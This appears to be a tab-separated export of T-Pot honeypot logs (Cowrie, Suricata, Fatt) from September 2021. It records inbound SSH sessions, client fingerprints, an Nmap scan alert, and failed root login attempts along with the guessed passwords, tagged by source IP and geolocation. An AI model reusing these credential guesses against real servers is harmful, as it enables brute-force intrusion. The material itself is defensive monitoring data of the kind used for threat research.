32517	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:51:45.507957+03	2021-09-20 15:00:03.582717+03	{"_id": "mwYMA3wBvYTbRNuEPEqT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:33548 (192.168.176.2:22) [session: be7684a9a6a9]", "session": "be7684a9a6a9", "@version": "1", "protocol": "ssh", "src_port": 33548, "dest_port": 22, "timestamp": "2021-09-20T11:51:45.507957Z", "@timestamp": "2021-09-20T11:51:45.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32518	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:51:45.510999+03	2021-09-20 15:00:03.584717+03	{"_id": "mgYMA3wBvYTbRNuEPEqT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "be7684a9a6a9", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:51:45.510999Z", "@timestamp": "2021-09-20T11:51:45.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32519	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:51:54.141259+03	2021-09-20 15:00:03.585717+03	{"_id": "xQYMA3wBvYTbRNuEX0rC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/!@#$%67890] failed", "session": "7c2b278c12da", "@version": "1", "password": "!@#$%67890", "username": "root", "timestamp": "2021-09-20T11:51:54.141259Z", "@timestamp": "2021-09-20T11:51:54.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32520	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:51:55.416006+03	2021-09-20 15:00:03.586717+03	{"_id": "xgYMA3wBvYTbRNuEY0qr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/6gy7cg] failed", "session": "7c2b278c12da", "@version": "1", "password": "6gy7cg", "username": "root", "timestamp": "2021-09-20T11:51:55.416006Z", "@timestamp": "2021-09-20T11:51:55.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32522	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:51:57.956648+03	2021-09-20 15:00:03.589717+03	{"_id": "yQYMA3wBvYTbRNuEa0p8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "7c2b278c12da", "@version": "1", "duration": 5.492408514022827, "timestamp": "2021-09-20T11:51:57.956648Z", "@timestamp": "2021-09-20T11:51:57.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32523	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:51:40.142925+03	2021-09-20 15:00:03.591716+03	{"_id": "kQYMA3wBvYTbRNuEKUoK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "4a83ec07e2b4", "@version": "1", "duration": 3.8844399452209473, "timestamp": "2021-09-20T11:51:40.142925Z", "@timestamp": "2021-09-20T11:51:40.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32524	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:52:09.904311+03	2021-09-20 15:00:03.592718+03	{"_id": "8AYMA3wBvYTbRNuEmkpi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:57338 (192.168.176.2:22) [session: 86d495d9c78c]", "session": "86d495d9c78c", "@version": "1", "protocol": "ssh", "src_port": 57338, "dest_port": 22, "timestamp": "2021-09-20T11:52:09.904311Z", "@timestamp": "2021-09-20T11:52:09.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32525	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:52:09.944882+03	2021-09-20 15:00:03.593717+03	{"_id": "8QYMA3wBvYTbRNuEmkpi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "86d495d9c78c", "@version": "1", "timestamp": "2021-09-20T11:52:09.944882Z", "@timestamp": "2021-09-20T11:52:09.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32526	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:52:09.580837+03	2021-09-20 15:00:03.594716+03	{"_id": "8gYMA3wBvYTbRNuEm0rS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42579, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3145, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1702037388121740, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 36294, "timestamp": "2021-09-20T11:52:09.580837Z", "@timestamp": "2021-09-20T11:52:09.580Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32527	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:52:09.944489+03	2021-09-20 15:00:03.596716+03	{"_id": "9QYMA3wBvYTbRNuEm0rU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:52:09.865370+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1663588840846426, "payload": "AAADzAYUvbEc/e+IRcFhWnLMCKW1oAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57338, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:52:09.944489Z", "@timestamp": "2021-09-20T11:52:09.944Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............E.aZr........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32561	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:52:31.59571+03	2021-09-20 15:00:03.640717+03	{"_id": "IAYMA3wBvYTbRNuE8Etd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "68d41a4e5f92", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:52:31.595710Z", "@timestamp": "2021-09-20T11:52:31.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32528	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:52:09.631552+03	2021-09-20 15:00:03.597716+03	{"_id": "9gYMA3wBvYTbRNuEnErc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35770, "dest_port": 443, "timestamp": "2021-09-20T11:52:09.631552", "@timestamp": "2021-09-20T11:52:09.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32529	163.172.167.225	109.199.241.180	Fatt	2021-09-20 14:52:09.944489+03	2021-09-20 15:00:03.598716+03	{"_id": "-AYMA3wBvYTbRNuEnErc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57338, "dest_port": 22, "timestamp": "2021-09-20T11:52:09.944489", "@timestamp": "2021-09-20T11:52:09.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32530	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:52:10.213421+03	2021-09-20 15:00:03.599716+03	{"_id": "_wYMA3wBvYTbRNuEnkpM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [root/toor@123] failed", "session": "86d495d9c78c", "@version": "1", "password": "toor@123", "username": "root", "timestamp": "2021-09-20T11:52:10.213421Z", "@timestamp": "2021-09-20T11:52:10.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32531	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:52:11.258727+03	2021-09-20 15:00:03.601716+03	{"_id": "BAYMA3wBvYTbRNuEoks1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "86d495d9c78c", "@version": "1", "duration": 1.3530073165893555, "timestamp": "2021-09-20T11:52:11.258727Z", "@timestamp": "2021-09-20T11:52:11.258Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32532	103.145.13.243	109.199.241.180	Suricata	2021-09-20 14:52:11.390798+03	2021-09-20 15:00:03.602716+03	{"_id": "BQYMA3wBvYTbRNuEo0uk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:11.390798+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 3, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN NMAP -sS window 1024", "signature_id": 2009582}, "geoip": {}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "103.145.13.243", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1166897348081294, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.Evil", "ET.DshieldIP"]}, "src_port": 57805, "dest_port": 80, "timestamp": "2021-09-20T11:52:11.390798Z", "@timestamp": "2021-09-20T11:52:11.390Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
32548	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:52:03.933922+03	2021-09-20 15:00:03.623717+03	{"_id": "4gYMA3wBvYTbRNuEhEpg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 703661502352829, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45878, "dest_port": 22, "timestamp": "2021-09-20T11:52:03.933922Z", "@timestamp": "2021-09-20T11:52:03.933Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
